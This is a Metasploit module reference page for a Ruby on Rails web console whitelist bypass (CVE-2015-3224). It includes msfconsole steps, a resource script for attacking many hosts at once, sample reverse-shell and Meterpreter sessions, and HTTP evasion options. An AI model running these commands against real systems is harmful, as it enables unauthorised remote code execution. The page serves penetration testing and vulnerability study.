Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/rails_web_console_v2_code_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution
Module: exploit/multi/http/rails_web_console_v2_code_exec
Source code: modules/exploits/multi/http/rails_web_console_v2_code_exec.rb
Disclosure date: 2015-06-16
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): ruby
Supported platform(s): Ruby
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2015-3224
This module exploits an IP whitelist bypass vulnerability in the developer web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also achieve code execution on Rails 4.2.x if the attack is launched from a whitelisted IP range.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using rails_web_console_v2_code_exec against a single host
Normally, you can use exploit/multi/http/rails_web_console_v2_code_exec this way:
msf > use exploit/multi/http/rails_web_console_v2_code_exec
msf exploit(rails_web_console_v2_code_exec) > show targets
... a list of targets ...
msf exploit(rails_web_console_v2_code_exec) > set TARGET target-id
msf exploit(rails_web_console_v2_code_exec) > show options
... show and set options ...
msf exploit(rails_web_console_v2_code_exec) > exploit
Using rails_web_console_v2_code_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your rails_web_console_v2_code_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/rails_web_console_v2_code_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module exploits an IP whitelist bypass vulnerability in the developer web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also achieve code execution on Rails 4.2.x if the attack is launched from a whitelisted IP range.
Verification Steps
Prerequisites:
gem install rails -v 4.2.6
rails new taco
cd taco
vim config/environments/development.rb
Add the following line just before the final end tag:
config.web_console.whitelisted_ips = %w(0.0.0.0/0)
bundle
rails server
Installing nodejs:
sudo apt-get install nodejs
Launch msfconsole:
- Do:
use exploit/multi/http/rails_web_console_v2_code_exec - Do:
set RHOST [IP] - Do:
set RPORT [Port] - Do:
run
Scenarios
Rails version 4.2.6
msf > use exploit/multi/http/rails_web_console_v2_code_exec
msf exploit(rails_web_console_v2_code_exec) > set RHOST 192.168.0.106
msf exploit(rails_web_console_v2_code_exec) > set RPORT 35678
msf exploit(rails_web_console_v2_code_exec) > run
[*] Started reverse TCP handler on 192.168.0.102:4444
[*] Sending payload to /__web_console/repl_sessions/d89c2f96387f4b9dd612c0abb7c06577
[*] Command shell session 1 opened (192.168.0.102:4444 -> 192.168.0.106:35678) at 2017-04-07 04:13:52 +0800
id
uid=0(root) gid=0(root) groups=0(root)
Go back to menu.
Msfconsole Usage
Here is how the multi/http/rails_web_console_v2_code_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/rails_web_console_v2_code_exec
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/http/rails_web_console_v2_code_exec) > show info
Name: Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution
Module: exploit/multi/http/rails_web_console_v2_code_exec
Platform: Ruby
Arch: ruby
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-06-16
Provided by:
joernchen <[email protected]>
Ben Murphy <[email protected]>
hdm <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /missing404 yes The path to a vulnerable Ruby on Rails application
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an IP whitelist bypass vulnerability in the
developer web console included with Ruby on Rails 4.0.x and 4.1.x.
This module will also achieve code execution on Rails 4.2.x if the
attack is launched from a whitelisted IP range.
References:
https://nvd.nist.gov/vuln/detail/CVE-2015-3224
http://openwall.com/lists/oss-security/2015/06/16/18
https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ
https://hackerone.com/reports/44513
Module Options
This is a complete list of options available in the multi/http/rails_web_console_v2_code_exec exploit:
msf6 exploit(multi/http/rails_web_console_v2_code_exec) > show options
Module options (exploit/multi/http/rails_web_console_v2_code_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 3000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /missing404 yes The path to a vulnerable Ruby on Rails application
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the multi/http/rails_web_console_v2_code_exec exploit:
msf6 exploit(multi/http/rails_web_console_v2_code_exec) > show advanced
Module advanced options (exploit/multi/http/rails_web_console_v2_code_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/rails_web_console_v2_code_exec module can exploit:
msf6 exploit(multi/http/rails_web_console_v2_code_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/rails_web_console_v2_code_exec exploit:
msf6 exploit(multi/http/rails_web_console_v2_code_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/ruby/pingback_bind_tcp normal No Ruby Pingback, Bind TCP
6 payload/ruby/pingback_reverse_tcp normal No Ruby Pingback, Reverse TCP
7 payload/ruby/shell_bind_tcp normal No Ruby Command Shell, Bind TCP
8 payload/ruby/shell_bind_tcp_ipv6 normal No Ruby Command Shell, Bind TCP IPv6
9 payload/ruby/shell_reverse_tcp normal No Ruby Command Shell, Reverse TCP
10 payload/ruby/shell_reverse_tcp_ssl normal No Ruby Command Shell, Reverse TCP SSL
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/rails_web_console_v2_code_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/rails_web_console_v2_code_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Error: No response requesting <TARGETURI>
Here is a relevant code snippet related to the "Error: No response requesting <TARGETURI>" error message:
56: 'X-Forwarded-For' => '0000::1'
57: }
58: }, 25)
59:
60: unless res
61: print_error("Error: No response requesting #{datastore['TARGETURI']}")
62: return
63: end
64:
65: web_console_path = nil
66:
Error: No session id found requesting <TARGETURI>
Here is a relevant code snippet related to the "Error: No session id found requesting <TARGETURI>" error message:
71:
72: # Support newer Web Console versions
73: if web_console_path.nil? && res.body.to_s =~ /data-mount-point='([^']+)'/
74: web_console_mount = $1
75: unless res.body.to_s =~ /data-session-id='([^']+)'/
76: print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
77: return
78: end
79: web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1)
80: end
81:
Error: The web console is patched, disabled, or you are not in the whitelisted scope
Here is a relevant code snippet related to the "Error: The web console is patched, disabled, or you are not in the whitelisted scope" error message:
79: web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1)
80: end
81:
82: unless web_console_path
83: if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
84: print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope')
85: else
86: print_error("Error: No web console path found when requesting #{datastore['TARGETURI']}")
87: end
88: return
89: end
Error: No web console path found when requesting <TARGETURI>
Here is a relevant code snippet related to the "Error: No web console path found when requesting <TARGETURI>" error message:
81:
82: unless web_console_path
83: if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
84: print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope')
85: else
86: print_error("Error: No web console path found when requesting #{datastore['TARGETURI']}")
87: end
88: return
89: end
90:
91: print_status("Sending payload to #{web_console_path}")
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6865 Merged Pull Request: Add CVE-2015-3224 support to rails_web_console_v2_code_exec
- #6838 Merged Pull Request: Add a module to abuse the Rails web-console (v2) gem
References
- CVE-2015-3224
- http://openwall.com/lists/oss-security/2015/06/16/18
- https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ
- https://hackerone.com/reports/44513
See Also
Check also the following modules related to this module:
- exploit/multi/http/rails_actionpack_inline_exec
- exploit/multi/http/rails_double_tap
- exploit/multi/http/rails_dynamic_render_code_exec
- exploit/multi/http/rails_json_yaml_code_exec
- exploit/multi/http/rails_secret_deserialization
- exploit/multi/http/rails_xml_yaml_code_exec
- auxiliary/admin/http/rails_devise_pass_reset
- auxiliary/dos/http/rails_action_view
- auxiliary/dos/http/rails_json_float_dos
- auxiliary/gather/rails_doubletap_file_read
- auxiliary/scanner/http/rails_json_yaml_scanner
- auxiliary/scanner/http/rails_mass_assignment
- auxiliary/scanner/http/rails_xml_yaml_scanner
- exploit/multi/http/atlassian_confluence_webwork_ognl_injection
- exploit/multi/http/metasploit_webui_console_command_execution
- exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
- exploit/multi/http/weblogic_admin_handle_rce
- exploit/multi/http/webnms_file_upload
- exploit/multi/http/webpagetest_upload_exec
- exploit/multi/http/hyperic_hq_script_console
- exploit/multi/http/jenkins_script_console
- exploit/multi/http/eaton_nsm_code_exec
- exploit/multi/http/getsimplecms_unauth_code_exec
- exploit/multi/http/nostromo_code_exec
- exploit/multi/http/oscommerce_installer_unauth_code_exec
- exploit/multi/http/struts2_code_exec_showcase
- exploit/multi/http/struts_code_exec
- exploit/multi/http/struts_code_exec_classloader
- exploit/multi/http/struts_code_exec_exception_delegator
- exploit/multi/http/struts_code_exec_parameters
Related Nessus plugins:
- FreeBSD : rubygem-rails -- multiple vulnerabilities (eb8a8978-8dd5-49ce-87f4-49667b2166dd)
- Fedora 22 : rubygem-web-console-2.1.3-1.fc22 (2015-10128)
Authors
- joernchen <joernchen[at]phenoelit.de>
- Ben Murphy <[email protected]>
- hdm
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
